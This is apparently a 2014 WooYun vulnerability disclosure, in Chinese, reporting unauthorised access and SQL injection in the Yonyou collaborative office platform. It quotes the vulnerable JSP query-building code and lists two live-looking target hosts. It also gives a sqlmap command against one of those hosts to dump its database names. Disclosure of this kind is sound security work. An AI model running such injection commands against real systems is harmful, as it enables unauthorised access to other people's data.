当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-060793

漏洞标题:用友协作办公平台越权+通杀SQL注入

相关厂商:用友软件

漏洞作者: 路人甲

提交时间:2014-05-15 09:31

修复时间:2014-08-10 09:32

公开时间:2014-08-10 09:32

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-15: 细节已通知厂商并且等待厂商处理中
2014-05-20: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-07-14: 细节向核心白帽子及相关领域专家公开
2014-07-24: 细节向普通白帽子公开
2014-08-03: 细节向实习白帽子公开
2014-08-10: 细节向公众公开

简要描述:

用友协作办公平台多处越权漏洞+一个通杀的SQL注入 影响到互联网最高版本5.5.2.

详细说明:

#1 漏洞文件
/security/addRole.jsp(可越权访问多个文件,这里就不贴出来了)
产生SQL注入的漏洞代码如下

<%     
String opt=(String)request.getAttribute("opt");
if("addSuccess".equals(opt)){
out.println("<script language='javascript'>");
out.println("alert('保存成功!');");
out.println("window.returnValue='yes';");
out.println("window.close();");
out.println("</script>");
return;
}
String dept=StringUtil.ISOToGBK(request.getParameter("dept"));
Dao dao=(Dao)ResourceManage.getContext("basicDao");
DataTable dataTable=dao.getDataTable("select distinct sr01,sr02 from sys_role where sr01 not in (select sr01 from sys_role where sr03 ='"+dept+"')",1,Integer.MAX_VALUE);
%>


从代码可以看出倒数第三行接受到dept参数后,直接进入了SQL查询语句,造成了SQL注入漏洞
#2 通过sqlmap测试
仍然随机地选择两个案例进行测试,下面测试一
http://121.8.169.131:8089/security/addRole.jsp?dept=1111
效果如图所示

11.jpg


接着来测试二
http://oa.zetacn.com:9090/security/addRole.jsp?dept=1111

22.jpg


效果如图所示

33.jpg

漏洞证明:

#3 跑出数据表

sqlmap.py -u "http://oa.zetacn.com:9090/security/addRole.jsp?dept=1111" -p dept --dbs


44.jpg

修复方案:

你们懂

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-08-10 09:32

厂商回复:

最新状态:

暂无


漏洞评价:

评论

  1. 2014-08-10 10:41 | Ton7BrEak ( 普通白帽子 | Rank:211 漏洞数:43 | 吃苦耐劳,我只会第一个!)

    用友···呵呵··